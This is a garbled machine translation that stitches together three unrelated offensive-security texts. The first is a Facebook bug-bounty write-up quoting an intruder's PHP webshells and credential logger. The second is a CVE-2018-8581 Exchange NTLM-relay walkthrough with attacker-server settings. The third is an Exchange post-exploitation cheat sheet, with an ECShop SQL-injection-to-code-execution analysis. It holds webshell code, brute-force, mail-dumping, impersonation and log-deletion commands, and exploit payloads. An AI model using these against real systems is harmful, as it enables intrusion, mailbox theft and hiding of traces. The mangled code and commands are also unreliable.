files.fb.comログインインターフェイス

ロゴとフッターから判断すると、Accellionの安全なファイル転送(以下、FTAと呼ばれる)である必要があります。

FTAは、ドキュメント送信を保護する製品であり、ユーザーはドキュメントをオンラインで共有および同期できるようにし、AD、LDAP、Kerberosなどの単一のサインオンメカニズムを統合できます。エンタープライズバージョンはSSL VPNサービスもサポートしています。

FTAについて私が最初に見たのは、搾取される公共の悪用があるかどうかをインターネットで検索することでした。 Exploitは最近HD Mooreによって発見され、Rapid7で公開されました。

Accellionファイル転送アプライアンスの脆弱性(CVE-2015-2856、CVE-2015-2857)

弱点では、「/tws/getstatus」で漏れたバージョン情報を使用できるかどうかを直接判断できます。 files.fb.comが発見されたとき、このバージョンは脆弱な0.18から0.20にアップグレードされました。ただし、アドバイザリーでリークされたコードから、FTAの執筆スタイルのように感じられます。あなたが探求し続けるなら、それでも問題があるかもしれません。そのため、戦略は0日間のFTA製品を探し始めます!

ただし、実際のブラックボックスメソッドから問題は見つかりません。そのため、方向を100ボックステストに変更する方法を見つける必要がありました。元のFTAコードをさまざまな方法で取得した後、最終的に調査を開始できます!

FTA製品全体の一般的なアーキテクチャ

Webインターフェイスは、主にPerlとPHPで構成されています。

元のPHPコードは、Ioncubeによって暗号化されています

PerlのDaemonsは彼らのプロジェクトで多くを運営しています

まず、イオンキュードパーツを復号化します。製品が漏れなくなるのを防ぐために、多くのデバイスが元のコードを暗号化します。幸いなことに、FTAのIonCudeバージョンは最新のものではないため、既製のツールを使用して復号化できます。ただし、PHPバージョンの問題により、詳細と数値操作は自分で修理する必要がある場合があります。

単純なソースコード監査の後、すべての簡単な弱点はすべてRapid7によって発見されるべきであることがわかりました。

認証を必要とする脆弱性はあまり役に立たないので、私はそれをより深く掘り下げなければなりませんでした!

数日間の慎重な調査の後、合計7つの弱点が発見されました。

クロスサイトスクリプトX 3

Auth Pre-Auth SQLインジェクションは、リモートコードの実行につながります

既知の秘密キーは、リモートコードの実行につながります

ローカル特権エスカレーションx 2

Facebookセキュリティチームに脆弱性を報告することに加えて、残りの脆弱性は、Accellionの技術文書を提出するためのアドバイザリーにも書かれています。パッチ付きCERT/CCをメーカーに提出した後、4つのCVE番号が取得されます。

CVE-2016-2350

CVE-2016-2351

CVE-2016-2352

CVE-2016-2353

詳細な弱点の詳細は、完全な開示ポリシーの後に発表されます!

sgpqqas1vvt8006.png

Pre-Auth SQLインジェクションを使用してWebShellに書き込みます

実際の侵入中にサーバーに入った後に最初に行うことは、現在の環境があなたにとって有用であるかどうかを確認することです。サーバー上の永続的なアクセス許可を維持できるようにするために、サーバー上の制限とレコードがどのようなものであるかを可能な限り理解し、発見される可能性のあるリスクを回避する必要があります。p

Facebookには、ほぼ次の制限があります:

ファイアウォールは外部ネットワーク、TCP、UDP、53、80、443に接続できません

リモートSyslogサーバーが存在します

auditdレコードをオンにします

外部から接続できないのは少し面倒なようですが、ICMPトンネルは実現可能であるようですが、これは単なるバグバウンティプログラムです。実際、あまり面倒である必要はなく、純粋にウェブシェルで操作されています。

0x02浸透テストプロセス

Facebookセキュリティチームに報告するために脆弱性の証拠が収集されたように、Webログからいくつかの奇妙な痕跡が見られたように見えました。

最初に、「/var/opt/apache/php_error_log」に奇妙なphpエラーメッセージが表示されました。これは、コード実行の変更によるエラーのようです。

fgwmvrliil58007.png

PHPエラーログ

エラーメッセージのパス分析に従って、彼の前任者が残した疑わしいウェブシェルバックドアを見つけます

dauoaldu1vd8008.png

FacebookサーバーのWebShell

いくつかのファイルの内容は次のとおりです。

sshpass

そうです、あのsshpass

bn3d10aw.php

?php echo shell_exec($ _ get ['c']);

uploader.php

?php move_uploaded_file($ _ files ['f] [' tmp_name ']、basename($ _ files [' f '] [' name ']));

D.PHP

?php include_oncce( '/home/seos/courier/remote.inc'); echo decrypt($ _ get ['c']);

クライアント\ _user \ _class \ _standard.inc

?php

include_once( 'sclient_user_class_standard.inc.orig');

$ fp=fopen( '/home/seos/courier/b3dke9sqaa0l.log'、 'a');

$ retries=0;

$ max_retries=100;

//省略.

fwrite($ fp、date( 'y-m-d h:i:s t')。 ';'。$ _server ['remote_addr']。 http_build_query($ _ get)。

//省略.

最初のいくつかは非常に標準的なPHPトロイの木馬です

より特別なものは、ファイル「slient_user_class_standard.inc」です。

パスワードを元々検証したPHPプログラムの「SCLIENT_USER_CLASS_STANDARD.INC.ORIG」のinclude_Onceをincluded beding、Hackerはプロキシを作成し、中央で重要な操作を実行するときにGET、投稿、およびCookieの値を記録しました。

整理した後、ハッカーはパスワード検証場所でプロキシを作成し、Facebookの従業員のアカウントパスワードを記録し、Webディレクトリに記録されたパスワードを保存しました。ハッカーは、時々時々wgetを使用していました。

wget https://files.fb.com/courier/b3dke9sqaa0l.log

4bjglbttmna8009.png

パスワードを記録しました

ログレコードからは、ユーザーのアカウントパスワードに加えて、FTAファイルからの電子メールコンテンツもあります。記録されたアカウントのパスワードは定期的に回転します(後で言及しますが、これはまだXDです)

2/1から2/7で記録された最後の回転は、約300のアカウントとパスワードレコードを含むことがわかりました。そのほとんどは「@fb.com」または「@facebook.com」の従業員アカウントとパスワードでした。この問題は少し深刻です。 FTAでは、ユーザーがログインする2つの主要なモードがあります。

一般ユーザーによって登録されているパスワードハッシュはデータベースに存在し、sha256 +塩によって保存されています

Facebookの従業員(@fb.com)は統一された認証を使用し、LDAPを使用して広告で認証

このログレコードでは、実際の従業員アカウントのパスワードが漏れました。 **推測**このアカウントのパスワードは、FacebookのメールOWA、VPN、その他のサービスにアクセスできるようにして、さらに浸透する必要があります.

さらに、この「ハッカー」はあまりよく慣れていない場合があります:p

すべてのバックドアパラメーターはGETを使用して渡され、そのフットプリントはWebログで明確に見つけることができます。

ハッカーは、いくつかのコマンド操作を実行する際にSTDERを考慮しなかったため、Webログ内の多くのコマンドのエラー情報が発生しました。これから、ハッカーがどのような操作を行ったかを見ることができます。

ハッカーはaccess.logから数日ごとに観察して、記録されたアカウントのパスワードをクリアすることができます

192.168.54.13-17955 [2016年1月23日19:04336010 +0000 | 1453575850] 'get /courier/custom_template/1000/bn3dl0aw.php?c=./sshpass -p' ********* 'ssh -v -o stricthostkeychecking=no soggycat@localhost' cp/home/seos/courier/b3dke9sqa0l. /home/seos/courier/b3dke9sqaa0l.log.2; echo /home/seos/courier/b3dke9sqaa0l.log '2/dev/stdout http/1.1' 200 2559 .

パッケージファイル:

CAT TMP_LIST3_2 |読み取りライン。 cp/home/filex2/1000/$ lineファイルを実行します。 2/dev/stdoutを完了しました

tar -CZVF files.tar.gzファイル

内部ネットワーク構造を検出します

Archibus.thefacebook.comを掘ります

telnet archibus.facebook.com 80

Curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php

Records.fb.comを掘ります

Telnet Records.fb.com 80

Telnet Records.fb.com 443

WGET -O- -Q http://192.168.41.16

ACME.facebook.comを掘ります

./sshpass -p '*********' ssh -v -o stricthostkeychecking=no soggycat@localhost 'for $(seq 201 1 255); $ in $(seq 0 1 255)を行う; do echo '192.168。$ i。$ j:`dig +short ptr $ j。$ i.168.192.in-addr.arpa`';終わり; done '2/dev/stdout

.

シェルスクリプトを使用してイントラネットをスキャンしますが、stderrのクリーンアップを忘れてください

z140prfufyn8010.png

内部LDAPに接続してみてください

SH: -C: Line 0:の構文エラーが予想外のトークン `( '

SH: -C: LINE 0: `LDAPSEARCH -V -X -H LDAPS: //LDAP.THEFACEBOOK.COM -B CN=SVC -ACCELLION、OU=サービスアカウント、DC=The FaceBook、DC=com -w '*********

内部ネットワークリソースにアクセスしてみてください

(メールOWAに直接アクセスできるように見えます…)

-20:38336009--https://mail.thefacebook.com/

mail.thefacebook.comの解決. 192.168.52.37

mail.thefacebook.comへの接続| 192.168.52.37 | :443 .接続。

HTTPリクエストが送信され、応答を待っています. 302が見つかりました

場所: https://mail.thefacebook.com/owa/[フォロー]

-20:38:10--https://mail.thefacebook.com/owa/

既存の接続をmail.thefacebook.com:443に再利用します。

HTTPリクエストが送信され、応答を待っています. 302は一時的に移動しました

場所: https://Mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/reason=0 [以下]

-20:38:10--- https://mail.thefacebook.com/owa/auth/logon.aspx?url=3https://mail.thefacebook.com/owa/Reason=0

既存の接続をmail.thefacebook.com:443に再利用します。

HTTPリクエストが送信され、応答を待っています. 200 OK

長さ: 8902(8.7k)[Text/HTML]

to:「stdout」を節約する

0k .. 100%1.17g=0s

20:38:10(1.17 gb/s) - ` - '保存[8902/8902]

-20:38:33--(try:15)https://10.8.151.47/

10.8.151.47:443への接続. -20:38336051- https://SVN.THEFACEBOOK.COM/

svn.thefacebook.comの解決.失敗:名前またはサービスは不明です。

-20:39:03--https://SB-dev.thefacebook.com/

sb-dev.thefacebook.comの解決.失敗:名前またはサービスが不明です。

失敗:接続がタイムアウトしました。

再試行。

SSL秘密鍵に浸透してみてください

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

ls:/etc/opt/apache/ssl.key/server.key:そのようなファイルまたはディレクトリなし

MV:は、そのようなファイルまたはディレクトリを統計できません

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

MV:は、そのようなファイルまたはディレクトリを統計できません

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

MV:は、そのようなファイルまたはディレクトリを統計できません

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

MV:は、そのようなファイルまたはディレクトリを統計できません

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

MV:は、そのようなファイルまたはディレクトリを統計できません

sh:/etc/opt/apache/ssl.crt/server.crt:許可が拒否されました

base64:無効な入力

ブラウザから、files.fb.comの証明書資格情報またはWildcard's *.fb.com .

evgjtnfjfnf8011.png

0x03 postscriptの要約

十分な証拠を収集すると、すぐにFacebookセキュリティチームに報告されます。脆弱性の詳細に加えて、レポートには対応するログ、スクリーンショット、タイムレコードXDも含まれています

サーバーのログから、ハッカーがオペレーティングシステムにあるときに明らかな2つの時点があることがわかります。 1つは7月上旬で、もう1つは9月中旬です。

7月上旬のアクションは、サーバーを「見つける」ために記録からより偏っているように見えますが、9月中旬の操作はより悪意があります。 「検索」に加えて、パスワードロガーなども配置しました。2つの時点での「ハッカー」が同じ人であるかどうかについては、同じ人であるかどうかは不明です。p

7月のタイミングは、CVE-2015-2857エクスプロイトが発表される前に角を曲がったところにあり、1日または0日間のシステムによって侵略されたかどうかを知ることは不可能でした。この事件はここに記録されています。全体として、これは非常に興味深い体験XDであり、浸透に関する記事を書く機会も与えてくれます:p

最後に、バグ・バウンのおかげです

0x00はじめに

これは、2018年のトップ5の興味深いケースシリーズの3番目のケースです。これらの脆弱性にはすべて、今年リリースされた約1,400のレポートとは一線を画す要因があります。今日は、認証されたユーザーがExchangeサーバー上の他のユーザーになりすませることができるExchangeの脆弱性を分析します。

ZDIのDustin Childsによる12月の投稿で、彼はExchange Server上のユーザーがそのExchangeサーバーの誰にでも偽装できるようにするExchangeの脆弱性について言及しました。この脆弱性は、イントラネットのハイジャックに使用できますが、フィッシング活動、盗むデータ、またはその他のマルウェア操作に使用される可能性が高くなります。 2018年のトップ5の興味深いケースシリーズの一環として、この記事はこのSSRF(サーバー側のリクエスト偽造)の脆弱性の詳細を掘り下げ、なりすましプロセスの実装方法を示しています。

0x01脆弱性分析

この脆弱性は、SSRFの脆弱性とその他の脆弱性の組み合わせによって引き起こされます。 Exchangeを使用すると、ユーザーはプッシュサブスクリプションに必要なURLを指定でき、サーバーはこのURLに通知を送信しようとします。問題は、Exchange ServerがScredentialCache.DefaultCredentialsを使用して接続することです。

zy4h2qgyjgj7991.png

Exchange Webサービスでは、credentientcache.defaultcredentialsがNT AuthoritySystemで実行されます。これにより、Exchangeサーバーは攻撃者のサーバーにNTLMハッシュを送信します。 Exchange Serverは、デフォルトで次のレジストリキーを設定します:hkey_local_machinesystemcurrentcontrolsetcontrollsadisableloopbackcheck=1も設定します。

これにより、HTTP認証にこれらのNTLMハッシュを使用できます。たとえば、これらのハッシュを使用してExchange Webサービス(EWS)にアクセスできます。 NT AuthoritySystemレベルで実行されるため、攻撃者はTokenserialization Rightの「特権的な」セッションを取得し、SOAPリクエストヘッダーを使用してユーザーになりすまします。

以下は、SIDS-1-5-21-4187549019-2363330540-1546371449-500を使用して管理者になりすまします。

gdyofhhk32v7992.png

0x02脆弱性エクスプロイト

デモンストレーションには、いくつかのPythonスクリプトを使用します。

serverhttp_relayntlm.py - インバウンド接続でntlmハッシュを取得し、ews認証

deck_ews_pushsubscribe.py - pushsubscription ewsがserverhttp_relayntlm.pyを呼び出します

これらのスクリプトはこちらからダウンロードできます。 Python-NTLMモジュールも必要です。

脆弱性の最初のステップは、私たちが偽装したいユーザーのSIDを取得することです。それを使用する1つの可能な方法は、次のとおりです。

1。認定ユーザーとしてOWAにログインします。ここでは、「攻撃者」としてログインします。

wgvxw44rht37993.png

2。次に、新しいフォルダーを作成します。この例では、Temfoldを使用します。コンテキストで「許可.」オプションをクリックします。

4c3vsom5vxb7994.png

3。ここで、あなたがなりすましたい人のメールを追加します。私たちのターゲットは犠牲者@contoso.localです:

1si452e12m17995.png

4. F12キーを押して、ネットワークオプションを選択する必要があります。次に、新しいフォルダーのコンテキストで「許可.」オプションを選択します。

1e5pkd34gli7996.png

5.最初のservice.svc?action=getFolderリクエストの応答を確認する必要があります。方法を見る:

Body-responsemessages-items-0-folders-0-permissionset-permissions-n-userid-sid

この例では、nは2(最新)ですが、すべてを確認して正しいものを見つけることができます。 Primarysmtpaddressは理想的な犠牲者でなければなりません。応答にpermissionsetエントリが含まれていない場合は、別のservice.svc?action=getFolderリクエストを確認する必要があります。

ib54dwjrkci7997.png

6. serverhttp_relayntlm.pyでこのsidを使用して、被害者になりすまします。さらに、Exchangeサーバー上の外部接続を可能にする攻撃者制御コンピューターでブロックされる可能性が低いTCPポートを選択する必要があります。たとえば、TCPポート8080が利用可能になる場合があります。それでは、実際の情報を使用して、serverhttp_relayntlm.pyの次の行を変更しましょう。

HTTPサーバーの#port

#exch_ews_pushsubscribe.pyのevil_httpserver_urlと同じである必要があります

httpport=8080

#次の値を有効なIP/アドレス、ポート、プロトコル(「HTTP」または「HTTPS」)にEWSに置き換える必要があります

Target_ip='cusch2016.contoso.local'

Target_Port=443

proto='https'

#proto='http'

#path to ews

url='/ws/exchange.asmx'

#SMTP攻撃者のメールボックスのアドレス(被害者に送信されたすべてのメールが受信されます)

Attacker='Attacker@contoso.local'

被害者_SID='S-1-5-21-4187549019-2363330540-1546371449-2604'

3lppq22qdwt7998.png

スクリプトに正しい変数があると、開始できます。

pw3n4swpxwv7999.png

7.次のステップは、deck_ews_pushsubscribe.pyスクリプトに適切な変数を設定することです。

#次の値を有効なIP/アドレス、ポート、プロトコル( 'HTTP'または 'https')に置き換える必要があります

ip='exch2016.contoso.local'

TCP_PORT=443

#proto='http'

proto='https'

#credentialsの攻撃者

user='攻撃者'

domain='contoso.local'

pass='p@ssw0rd'

url='/ws/exchange.asmx'

NTLMハッシュを使用するHTTPサーバーの#URLは、被害者のなりすましに

Evil_httpserver_url='http://192.168.50.173:8080/TEST'

tawvfjhdgek8000.png

それが完了したら、次のスクリプトを実行できます。

dbz2nyu02r28001.png

8。最後のステップ。いくつかのイベントトリガープッシュ通知が必要です。しばらく待つことができる場合、または新しい電子メールの作成や送信、新しいファイルの削除など、いくつかのことができる場合

2yzvxrklmje8002.png

成功した場合、Exchange ServerからServerHttp_RelayNtlm.pyへのインバウンド接続を受信する必要があります。

攻撃が成功した場合、最後の応答でupdateInboxRulesResponsEresponseClass="Success"が表示されます。これは、インバウンドルールが被害者のメールボックスに追加され、すべてのインバウンドメールが攻撃者に転送されることを意味します。

すべてが準備ができたので、それをテストする時が来ました。アカウントから被害者に電子メールを送信する必要がありますが、ソースと宛先が同じアドレスである場合、ルールが電子メールを転送しないため、新しいルール(この場合はatters@contoso.local)の宛先と同じではありません。管理者としてログインして、被害者に「敏感な」情報を送信しましょう。

5ijf1w0rugf8003.png

攻撃者の受信トレイを確認すると、メッセージが正常に転送されていることがわかります。

tcvir0xyetq8004.png

ご覧のとおり、新しいメールは攻撃者に転送されます。 AddDelegateやターゲットフォルダーへの編集権限の割り当てなど、他のEWS APIを通じて同様の結果を達成できます。

0x03パッチ

Microsoftは、CVE-2018-8581に脆弱性を割り当て、11月にリリースされたときに緩和策を講じました。実際、この脆弱性はまだ修正されていません。代わりに、Microsoftは、レジストリキーを削除する必要があることを強調しています。このキーを削除して、ループバックチェックを有効にします。上記を思い出して、Exchangeサーバーには、デフォルトで次のレジストリキーが設定されています。

hkey_local_machinesystemcurrentcontrollolsetcontrollsadisableloopbackcheck=1

hkey_local_machinesystemcurrentcontrollollollsollsadisableloopbackcheckキーが削除された場合、脆弱性は不可能です。レジストリキーを削除するには、CMDウィンドウに次のコマンドを入力します。

キーを削除した後、サーバーを再起動または交換する必要はありません。この発表では、将来の交換の更新はデフォルトでレジストリキーを有効にしなくなると述べています。

0x04要約

電子メールは当社のビジネスライフのコアコンポーネントになり、Exchangeサーバーは長年にわたってホットなターゲットでした。脆弱性により、ユーザーのなりすましが可能になり、以前に報告された脆弱性を介して任意のコード実行が可能になります。これらの状況は両方とも、時には最大のセキュリティリスクが内部から来ることを示唆しています。これらの脆弱性は、外部の攻撃者が単一のエントリポイントから企業全体にどのように広がることができるかを示しています。

侵入プロセス中、Exchange Mail Serverは通常、私たちが焦点を当てたオブジェクトです。 Machineアカウントの権限を使用してExchange Mail Serverを削除した後、ドメインDCSYNC許可内の他のユーザーに提供し、ドメインでハッシュをエクスポートしてドメイン全体を削除できるためです。

交換システムでは、コマンドhttps://Learn.microsoft.com/zh-cn/powershell/module/exchange/add-mailboxfolderpermission?view=exchange-ps

スキャンサービス

setspn.exe

setspn.exe -t vvvv1.com -f -q */* |検索ストレンド

y5njqvq0ilq905.png

nmap

NMAP 192.168.52.139 -A

gmrtoa5f5g3906.png

3lmuuzyhvnm907.png

プローブバージョンと脆弱性

EWSインターフェイスを介してExchangeの正確なバージョン情報を取得する

1fklkvf4nt0908.png

短所:一部の古いExchangeバージョンは、この操作をサポートしていません。

OWAインターフェイスを介して取引所の大まかなバージョン情報を取得する

ornnavrzmd2909.png

バージョン番号を取得した後、公式Webサイトにアクセスして、対応する交換バージョンとリリース日を確認できます。

クエリアドレス:

https://Learn.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates?view=exchserver-2016

スクリプトを使用して、バージョンと脆弱性を検出します

https://github.com/3gstudent/homework-of-python/blob/master/exchange_getversion_matchvul.py

jkxtvl5rwdb910.png

ブラスト

python2 eburst.py -d 192.168.52.139 -c

th1nkfq5sym911.png

このツールを使用して、ユーザーアカウントのパスワードを爆発することもできます。

python2 eburst.py -d 192.168.52.139 -l ./users.txt -p ./passwords.txt -ews

情報収集

電子メールユーザーのいずれかの資格情報が取得されたと仮定すると、次に情報を収集できます。

autodiscover

による情報収集

https://Exchange/autodiscover/autodiscover.xmlインターフェイスを介して、XMLリクエストを受け入れ、XMLで指定された電子メールが属するメールボックス構成を返すことができます。

NTLMV2認証にはHTTP/1.1接続が必要であり、Burpsuitの新しいバージョンはHTTP/2にデフォルトであるため、最初に調整する必要があります。

https://blog.csdn.net/qq_30786785/article/details/121742101

構成の読み取りなどの操作については、次のリンクを参照してください。

https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA5%9FBABA%E7%A1%80-Exchange-Autodiscover%E7%9A%84%E4%BD%BF%E7%94%A8

基本は認証であり、base64 vvvv1 \ administrator:admin!@#456を使用して暗号化されています

post/autodiscover/autodiscover.xml http/1.1

HOST: 192.168.52.139

user-agent: mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、geckoのように)chrome/114.0.0.0 safari/537.36

Authorization: BASIC VLZWVJFCYWRTAW5PC3RYYXRVCJPHZG1PBIFAIZQ1NG==

Content-Type:テキスト/XML

Content-Length: 350

autodiscover xmlns='http://schemas.microsoft.com/Exchange/Autodiscover/Outlook/RequestSchema/2006'

リクエスト

emailaddressexchange1@vvv1.com/emailaddress

AcceptAbleresponseSchemahttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a/acceptableresponseschema

/リクエスト

/autodiscover

メールが存在しない場合、返されます

x0pesaurwcj912.png

メールボックスが存在する場合、構成情報が返されます

rv2ki04ulx5913.png

5xk3vpaoaml914.png

取引所アドレス帳を入手してください

グローバルアドレスリスト(GAL)には、Exchange Organizationのすべてのメールユーザーのメールアドレスが含まれています。 Exchange Organizationの電子メールユーザーの資格情報を取得している限り、他のメールユーザーのメールアドレスをエクスポートできます。 HTTPを介したOWA、EWS、OAB、RPC、HTTPを介したMapiなどを使用してGALを取得できます。

https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA6%8A%80%E5%B7%A7-A8%8E%B7%E5%BEA%97Exghange-GlobalAddressList%E7%9A%84A6%96%B9%E6%B3

https://swarm.ptsecurity.com/attacking-ms-exchange-web-interfaces/

OWAを使用して直接表示

人事ユーザー

hzsgf0ttylu915.png

/ewsインターフェイスを取得します< /h5>

PowerShell -ExecutionPolicyバイパス

import-module。\ mailsniper.ps1

get -globalAddressList -ExchHostName 192.168.52.139 -USNAME VVVV1 \ Administrator -PassWord Admin!@#456 -Outfile Gal.txt

kjy1yjj3fz0918.png

oab
を介してギャルを取得します

1。AOTODISCOVERを介して収集されたOABパス。

2。ACCESSOAB/oaburi/oab.xml;

3. oab.xmlを介してデフォルトのグローバルアドレステーブルに対応するLZXファイルアドレスを見つけ、access/oab/oaburi/lzxuriにLZXファイルを取得します。

4. Cabextractツールを使用してLZXファイルをデコードし、GALを復元します。

https://www.cabextract.org.uk/

http
を介したRPC(mapi)を介した情報収集をエクスポートします

HTTP上のMapiは、OutlookとExchange 2016の間のデフォルトの通信プロトコルです

HTTPを介したMAPIは、HTTPを介してRPCを置き換えるためにExchange Server 2013 Service Pack 1(SP1)に実装された新しいトランスポートプロトコルです(Outlook Anywhereとも呼ばれます)

HTTPを介したMAPIは、Exchange 2013でデフォルトで有効になりません。OutlookとExchangeの間の通信プロトコルは、HTTPを介してRPCを使用します。

Impacket-Exchangerモジュールを使用してアドレスリストをリストし、対応するGUIDを見つけます

python endganger.py vvvv1/admins:user!@#45@192.168.52.139nspiリストテーブル

jg2kr4hrsc2920.png

すべてのユーザーをエクスポートします

python exchanger.py VVVV1/admins:User!@#45@192.168.52.139nspi dump-tables -guid 784f58c1-8bd1-4d28-81fa-52d22ce95738

ejpgvssj01y921.png

Pythonを介したGALのリモートエクスポート

Python ewsmanage_downloader.py 192.168.52.139 443 Plantext vvvv1.com Adminsユーザー!@#45 findallpeople

ug4ivyptk4c922.png

メールコンテンツをエクスポート

/owaインターフェイスを介して直接メールをダウンロードします< /h4>

アカウントパスワードを入力して、ページでメールを直接読み取るかダウンロードしてください

5xv5i2hti2q924.png

/ewsインターフェイスを介して電子メールコンテンツをエクスポート< /h4>

pythonを介した電子メールのリモートエクスポート

プレーンテキストパスワードまたはハッシュを介してエクスポートできます

python ewsmanage_downloader.py 192.168.52.139 443 Plantext vvvv1.com管理者管理者!@#456ダウンロード

python ewsmanage_downloader.py test.com 80 NTLMHASH NULL USER1 C5A237B7E9D8E708D8436B6148A25FA1 FINDALLPELE

m41od3v4tcj926.png

Pythonを介した電子メールのエクスポートは、通常、SOAP XMLメッセージを使用してエクスポートされます

公式XML要素ドキュメント:

https://Learn.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange

exshell.ps1
を介して電子メールをエクスポートします

https://3GSTUDENT.GITHUB.IO/%E6%B8%97%E9%80%8FA5%9FBABA%E7%A1%80-E4%BB%8EEXChange%E6%9C%8D%9CですE5%8a%A1%E5%99%A8%E4%B8%8A%E6%90%9C%E7%B4%A2%E5%92%8C%E5%AF%BC%E5%87%BA%E9%82%AE%E4%BB%B6

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'newmailboxexportrequest -mailbox管理者-filepath' \ \ c $ Exchange1.pst '

4zds4ec4qle929.png

04emgbp1lmh930.png

もちろん、電子メールをエクスポートした後、エクスポートメールのトレースをクリアする必要があります。

メールのエクスポート要求履歴を表示します

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ Microsoft \\ Exchange Server \\ v15 \\ bin \\ exshell.psc1' -command 'get -mailboxexportrequertrequest'

rvipd2jcd1e932.png

エクスポートログレコードを削除します

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'remove -mailboxexportrequert' '

iyppdndlpj2935.png

IDパラメーターは、上の図のメールボックスパラメーターです

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ microsoft \\ Exchange server \\ v15 \\ bin \\ exshell.psc1' -command 'removeBoxexportRequest -identity' vvvv1.com/users/administrator \ mailboxexportportportport

電子メールは、バックドアの植え付けを引き継ぎます

シミュレーション権限を構成

https://4SYSOPS.COM/ARCHIVES/EXCHANGE-IMPRENATION-GRANT-PERMISSIONS-TO-SERVICE-ACCOUNTS/

xbmgyxrtjmf937.png

次の権限を追加するだけです。

シミュレーションの許可があることを確認してください。

https://192.168.52.139/ecp/exchange1@vvvv1.com/

特定の利用には、スクリプトファイルを組み合わせる必要があります。

ojpq0v2hsjl938.png

モック許可を持つメンバーを表示します

get -managementRoleasSignment -Role:ApplicationImprensation

Powershell.exe -psconsolefile 'c: \\プログラムFiles \\ Microsoft \\ Exchange Server \\ v15 \\ bin \\ exshell.psc1' -command 'get -managementRoleassignment -role:application -ination'

w4lzgu5xrrs940.png

模擬権限を備えた新しいメンバーを作成します

new -managementRoleasSignment -Role3:ApplicationImprensation -User:Exchange1@vvvv1.com

rv1rpx4eh0e942.png

新しく追加されたモック許可を持っているメンバーを削除します

managementRoleassignment 'application-Imprensation-Admins'を削除

3xgb0ypdtzc943.png

FullAccess Permissions

を構成します

https://Blog.csdn.net/weixin_34123613/article/details/90079532

get -Mailbox -ResultSize Unlimited -Filter {(ReciontTypedEtails -EQ 'USERMAILBOX') - (Alias -NE 'Administrator')} | Add -MailboxPermission -USER Administrator -AccessRights Fullaccess -InheritanceTypeすべて

a3wfwt05w3n944.png

Fullaccessの許可をキャンセルします

get -Mailbox -ResultSize Unlimited -Filter {(ReciontTypedEtails -EQ 'USERMAILBOX') - (Alias -NE 'Administrator')} | mailboxpermission -user管理者-accessrights fullaccess -inheritanceTypeすべて

Fullaccessアクセス許可を確認します

tbi4c22qs3v947.png

脆弱性攻撃

python proxylogon.py - host=exchange.com - mail=admin@exchange.com

Aspx Trojan:スクリプト言語='jscript' runat='server' function page \ _load(){/\*\*/eval(request \ ['command' \]、 'unsafe');}/script

摂取後段階

サーバー情報の交換コレクション

Exchangeのデフォルトのインストールパスを取得します

Echo%ExchangeInstallPath%

ecnswpbkb3p949.png

コンソールファイルの相対位置は、%ExchangeInstallPath%\ bin \ exshell.ps1です

すべての電子メール情報を取得します

Powershell.exe -psconsolefile 'C: \ Program Files \ Microsoft \ Exchange Server \ V15 \ bin \ exshell.psc1' -command 'get -mailbox -Resultsize Unlimited'

ure51lfh225950.png

電子メール追跡ログを分析

メール追跡ログは%交換にあります

0x00はじめに

user.phpの表示関数で問題が発生します。テンプレート変数は制御可能であり、噴射を引き起こし、インジェクションでリモートコード実行を実現できます。

0x01脆弱性分析

1.SQL注入

まず、user.phpの$ back_act変数をhttp_refererから見てみましょう。

“ecshop2.x代码执行”

割り当て関数は、テンプレート変数に値を割り当てるために使用されます

“ecshop2.x代码执行”

ディスプレイ関数をもう一度見て、user_passport.dwtテンプレートファイルのコンテンツを読み取り、変数を解析した後にHTMLコンテンツを表示し、_eChashをセグメントとして使用し、$ kを取得してから、処理のためにISNERT_MODに引き渡します。 _eChashはデフォルトであり、ランダムに生成されていないため、$ valコンテンツは自由に制御できます。

“ecshop2.x代码执行”

非常に重要な場所であるINSERT_MOD関数を見てください。ここでは、動的にコール$ valが渡されて使用されます|セグメントがあり、パラメーターは渡されてから渡されたときにシリアル化する必要があります

“ecshop2.x代码执行”

/lib_insert.phpを含むinsert_ads関数を見ると、直接挿入できることがわかります

“ecshop2.x代码执行”

2。コード実行

“ecshop2.x代码执行”

関数を読み続けます

“ecshop2.x代码执行”

Tracking_Eval関数

“ecshop2.x代码执行”

$ position_style変数は、データベースのクエリ構造に由来します

“ecshop2.x代码执行”

このSQL操作コマンドを部分的なラインブレークで切り捨てることができないため、SQLインジェクションの構築を続けているため、UnionのNUMと協力するためにIDで注釈を構築する必要があります。

“ecshop2.x代码执行”

関数には判断があります

“ecshop2.x代码执行”

私たちのIDは '/*で渡されます

*/unionが1,0x272F2A、3,4,5,6,7,8,9,10 ---を選択し、POC:をバイパスできます。

Select A.Ad_id、A.Position_id、A.Media_Type、A.Ad_link、A.Ad_name、P.Ad_Width、P.Ad_Height、P.Position_Style、Rand()は、ecshop27`.`ecs_ad`からrnd as a p.position_id where enabled=1 and start_time='1535678679'およびend_time='1535678679'およびa.position_id=''/*'rind lime */sion Select 1,2,3,4,5,6,7,8,9,10-----

“ecshop2.x代码执行”

var_dump

“ecshop2.x代码执行”

“ecshop2.x代码执行”

GET関数をもう一度見てください、渡されたパラメーターはfetch_str関数によって処理されます

“ecshop2.x代码执行”

fetch_str関数を追跡すると、ここの文字列処理プロセスは比較的複雑です

“ecshop2.x代码执行”

preg_replace( '/{([^\} \ n]*)}/e'、 '\ $ this-select(' \\ 1 ');'、$ source);

この行は、たとえば、$ sourceがxxxx {$ asd} xxxであることを意味します。このコード行を処理した後、この結果を返します-select( '$ asd')、および選択関数を調べます。

“ecshop2.x代码执行”
